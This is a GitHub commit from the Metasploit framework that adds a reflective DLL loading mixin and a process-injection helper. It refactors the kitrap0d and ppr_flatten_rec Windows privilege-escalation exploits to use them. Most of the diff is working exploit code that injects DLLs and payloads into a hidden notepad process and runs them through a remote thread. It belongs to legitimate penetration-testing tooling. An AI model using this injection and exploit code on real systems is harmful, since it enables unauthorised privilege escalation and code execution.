Skip to content

Commit 3aebe96

Browse files
committed
Land rapid7#2721 Reflective DLL Mixin
Adds support to load a dll and identify the ReflectiveLoader offset. Adds support to inject dll into process and execute it. Updates kitrap0d, ppr_flatten_rec, reflective_dll_inject modules and payload modules to use above features.
2 parents d0adc19 + 155836d commit 3aebe96

File tree

7 files changed

+155
-171
lines changed

7 files changed

+155
-171
lines changed

lib/msf/core/payload/windows/reflectivedllinject.rb

Lines changed: 8 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'rex/peparsey'
4+
require 'msf/core/reflective_dll_loader'
55

66
module Msf
77

@@ -15,14 +15,18 @@ module Msf
1515

1616
module Payload::Windows::ReflectiveDllInject
1717

18+
include Msf::ReflectiveDLLLoader
1819
include Msf::Payload::Windows
1920

2021
def initialize(info = {})
2122
super(update_info(info,
2223
'Name' => 'Reflective DLL Injection',
2324
'Description' => 'Inject a DLL via a reflective loader',
2425
'Author' => [ 'sf' ],
25-
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
26+
'References' => [
27+
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
28+
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
29+
],
2630
'Platform' => 'win',
2731
'Arch' => ARCH_X86,
2832
'PayloadCompat' =>
@@ -47,26 +51,8 @@ def library_path
4751
end
4852

4953
def stage_payload(target_id=nil)
50-
dll = ""
51-
offset = 0
52-
53-
begin
54-
File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }
55-
56-
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
57-
58-
pe.exports.entries.each do |entry|
59-
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
60-
offset = pe.rva_to_file_offset( entry.rva )
61-
break
62-
end
63-
end
64-
65-
raise "Can't find an exported ReflectiveLoader function!" if offset == 0
66-
rescue
67-
print_error( "Failed to read and parse Dll file: #{$!}" )
68-
return
69-
end
54+
# Exceptions will be thrown by the mixin if there are issues.
55+
dll, offset = load_rdi_dll(library_path)
7056

7157
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
7258

lib/msf/core/payload/windows/x64/reflectivedllinject.rb

Lines changed: 8 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
# -*- coding: binary -*-
22

33
require 'msf/core'
4-
require 'rex/peparsey'
4+
require 'msf/core/reflective_dll_loader'
55

66
module Msf
77

@@ -15,14 +15,18 @@ module Msf
1515

1616
module Payload::Windows::ReflectiveDllInject_x64
1717

18+
include Msf::ReflectiveDLLLoader
1819
include Msf::Payload::Windows
1920

2021
def initialize(info = {})
2122
super(update_info(info,
2223
'Name' => 'Reflective DLL Injection',
2324
'Description' => 'Inject a DLL via a reflective loader',
2425
'Author' => [ 'sf' ],
25-
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],
26+
'References' => [
27+
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
28+
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
29+
],
2630
'Platform' => 'win',
2731
'Arch' => ARCH_X86_64,
2832
'PayloadCompat' =>
@@ -47,26 +51,8 @@ def library_path
4751
end
4852

4953
def stage_payload
50-
dll = ""
51-
offset = 0
52-
53-
begin
54-
::File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) }
55-
56-
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
57-
58-
pe.exports.entries.each do |entry|
59-
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
60-
offset = pe.rva_to_file_offset( entry.rva )
61-
break
62-
end
63-
end
64-
65-
raise "Can't find an exported ReflectiveLoader function!" if offset == 0
66-
rescue
67-
print_error( "Failed to read and parse Dll file: #{$!}" )
68-
return
69-
end
54+
# Exceptions will be thrown by the mixin if there are issues.
55+
dll, offset = load_rdi_dll(library_path)
7056

7157
exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration
7258

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/reflective_dll_loader'
4+
5+
###
6+
#
7+
# This module exposes functionality which makes it easier to do
8+
# Reflective DLL Injection into processes on a victim's machine.
9+
#
10+
###
11+
12+
module Msf::Post::Windows::ReflectiveDLLInjection
13+
14+
include Msf::ReflectiveDLLLoader
15+
16+
PAGE_ALIGN = 1024
17+
18+
#
19+
# Inject the given shellcode into a target process.
20+
#
21+
# @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
22+
# The process to inject the shellcode into.
23+
# @param shellcode [String] The shellcode to inject.
24+
#
25+
# @return [Fixnum] Address of the shellcode in the target process's
26+
# memory.
27+
#
28+
def inject_into_process(process, shellcode)
29+
shellcode_size = shellcode.length
30+
31+
unless shellcode.length % PAGE_ALIGN == 0
32+
shellcode_size += PAGE_ALIGN - (shellcode.length % PAGE_ALIGN)
33+
end
34+
35+
shellcode_mem = process.memory.allocate(shellcode_size)
36+
process.memory.protect(shellcode_mem)
37+
process.memory.write(shellcode_mem, shellcode)
38+
39+
return shellcode_mem
40+
end
41+
42+
#
43+
# Inject a reflectively-injectable DLL into the given process
44+
# using reflective injection.
45+
#
46+
# @param process [Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process]
47+
# The process to inject the shellcode into.
48+
# @param dll_path [String] Path to the DLL that is to be loaded and injected.
49+
#
50+
# @return [Array] Tuple of allocated memory address and offset to the
51+
# +ReflectiveLoader+ function.
52+
#
53+
def inject_dll_into_process(process, dll_path)
54+
dll, offset = load_rdi_dll(dll_path)
55+
dll_mem = inject_into_process(process, dll)
56+
57+
return dll_mem, offset
58+
end
59+
60+
end

lib/msf/core/reflective_dll_loader.rb

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
# -*- coding: binary -*-
2+
3+
###
4+
#
5+
# This mixin contains functionality which loads a Reflective
6+
# DLL from disk into memory and finds the offset of the
7+
# reflective loader's entry point.
8+
#
9+
###
10+
11+
module Msf::ReflectiveDLLLoader
12+
13+
#
14+
# Load a reflectively-injectable DLL from disk and find the offset
15+
# to the ReflectiveLoader function inside the DLL.
16+
#
17+
# @param dll_path Path to the DLL to load.
18+
#
19+
# @return [Array] Tuple of DLL contents and offset to the
20+
# +ReflectiveLoader+ function within the DLL.
21+
#
22+
def load_rdi_dll(dll_path)
23+
dll = ''
24+
offset = nil
25+
26+
::File.open(dll_path, 'rb') { |f| dll = f.read }
27+
28+
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
29+
30+
pe.exports.entries.each do |e|
31+
if e.name =~ /^\S*ReflectiveLoader\S*/
32+
offset = pe.rva_to_file_offset(e.rva)
33+
break
34+
end
35+
end
36+
37+
unless offset
38+
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
39+
end
40+
41+
return dll, offset
42+
end
43+
end

modules/exploits/windows/local/ms10_015_kitrap0d.rb

Lines changed: 15 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,16 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/post/windows/reflective_dll_injection'
78
require 'msf/core/exploit/exe'
89
require 'rex'
910

1011
class Metasploit3 < Msf::Exploit::Local
1112
Rank = GreatRanking
1213

13-
include Post::File
14-
include Post::Windows::Priv
14+
include Msf::Post::File
15+
include Msf::Post::Windows::Priv
16+
include Msf::Post::Windows::ReflectiveDLLInjection
1517

1618
def initialize(info={})
1719
super( update_info( info,
@@ -71,54 +73,29 @@ def exploit
7173
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
7274
end
7375

74-
dll = ''
75-
offset = nil
76-
7776
print_status("Launching notepad to host the exploit...")
78-
cmd = "notepad.exe"
79-
opts = {'Hidden' => true}
80-
process = client.sys.process.execute(cmd, nil, opts)
81-
pid = process.pid
82-
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
83-
print_good("Process #{pid} launched.")
84-
85-
print_status("Reflectively injecting the exploit DLL into #{pid}...")
77+
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
78+
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
79+
print_good("Process #{process.pid} launched.")
80+
81+
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
8682
library_path = ::File.join(Msf::Config.data_directory, "exploits",
8783
"CVE-2010-0232", "kitrap0d.x86.dll")
8884
library_path = ::File.expand_path(library_path)
89-
::File.open(library_path, 'rb') { |f| dll = f.read }
90-
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
91-
pe.exports.entries.each do |e|
92-
if e.name =~ /^\S*ReflectiveLoader\S*/
93-
offset = pe.rva_to_file_offset(e.rva)
94-
break
95-
end
96-
end
97-
# Inject the exloit, but don't run it yet.
98-
exploit_mem = inject_into_pid(dll, host_process)
9985

100-
print_status("Exploit injected. Injecting payload into #{pid}...")
101-
# Inject the payload into the process so that it's runnable by the exploit.
102-
payload_mem = inject_into_pid(payload.encoded, host_process)
86+
print_status("Injecting exploit into #{process.pid} ...")
87+
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
88+
89+
print_status("Exploit injected. Injecting payload into #{process.pid}...")
90+
payload_mem = inject_into_process(host_process, payload.encoded)
10391

104-
print_status("Payload injected. Executing exploit...")
10592
# invoke the exploit, passing in the address of the payload that
10693
# we want invoked on successful exploitation.
94+
print_status("Payload injected. Executing exploit...")
10795
host_process.thread.create(exploit_mem + offset, payload_mem)
10896

10997
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
11098
end
11199

112-
protected
113-
114-
def inject_into_pid(payload, process)
115-
payload_size = payload.length
116-
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
117-
payload_mem = process.memory.allocate(payload_size)
118-
process.memory.protect(payload_mem)
119-
process.memory.write(payload_mem, payload)
120-
return payload_mem
121-
end
122-
123100
end
124101

modules/exploits/windows/local/ppr_flatten_rec.rb

Lines changed: 11 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/post/windows/reflective_dll_injection'
78
require 'rex'
89

910
class Metasploit3 < Msf::Exploit::Local
@@ -13,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local
1314
include Msf::Post::Windows::Priv
1415
include Msf::Post::Windows::Process
1516
include Msf::Post::Windows::FileInfo
17+
include Msf::Post::Windows::ReflectiveDLLInjection
1618

1719
def initialize(info={})
1820
super(update_info(info, {
@@ -135,37 +137,25 @@ def exploit
135137
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
136138
end
137139

138-
dll = ''
139-
offset = nil
140-
141140
print_status("Launching notepad to host the exploit...")
142-
cmd = "notepad.exe"
143-
opts = {'Hidden' => true}
144-
process = client.sys.process.execute(cmd, nil, opts)
145-
pid = process.pid
146-
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
147-
print_good("Process #{pid} launched.")
141+
process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
142+
host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
143+
print_good("Process #{process.pid} launched.")
148144

145+
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
149146
library_path = ::File.join(Msf::Config.data_directory, "exploits",
150147
"cve-2013-3660", "ppr_flatten_rec.x86.dll")
151148
library_path = ::File.expand_path(library_path)
152-
::File.open(library_path, 'rb') { |f| dll = f.read }
153-
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
154-
pe.exports.entries.each do |e|
155-
if e.name =~ /^\S*ReflectiveLoader\S*/
156-
offset = pe.rva_to_file_offset(e.rva)
157-
break
158-
end
159-
end
160149

161-
print_status("Injecting exploit and payload into #{pid}...")
162-
# Inject the exploit and payload, but don't run it yet.
163-
exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process)
150+
print_status("Injecting exploit into #{process.pid} ...")
151+
exploit_mem, offset = inject_dll_into_process(host_process, library_path)
164152

165-
print_status("Injection complete. Executing exploit...")
153+
print_status("Exploit injected. Injecting payload into #{process.pid}...")
154+
payload_mem = inject_into_process(host_process, payload.encoded)
166155

167156
# invoke the exploit, passing in the address of the payload that
168157
# we want invoked on successful exploitation.
158+
print_status("Payload injected. Executing exploit...")
169159
host_process.thread.create(exploit_mem + offset, payload_mem)
170160

171161
# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
@@ -177,16 +167,4 @@ def exploit
177167
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
178168
end
179169

180-
protected
181-
182-
def inject_into_pid(exploit, payload, process)
183-
payload_size = exploit.length + payload.length
184-
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
185-
payload_mem = process.memory.allocate(payload_size)
186-
process.memory.protect(payload_mem)
187-
process.memory.write(payload_mem, exploit)
188-
process.memory.write(payload_mem + exploit.length, payload)
189-
return payload_mem, payload_mem + exploit.length
190-
end
191-
192170
end

0 commit comments

Comments
 (0)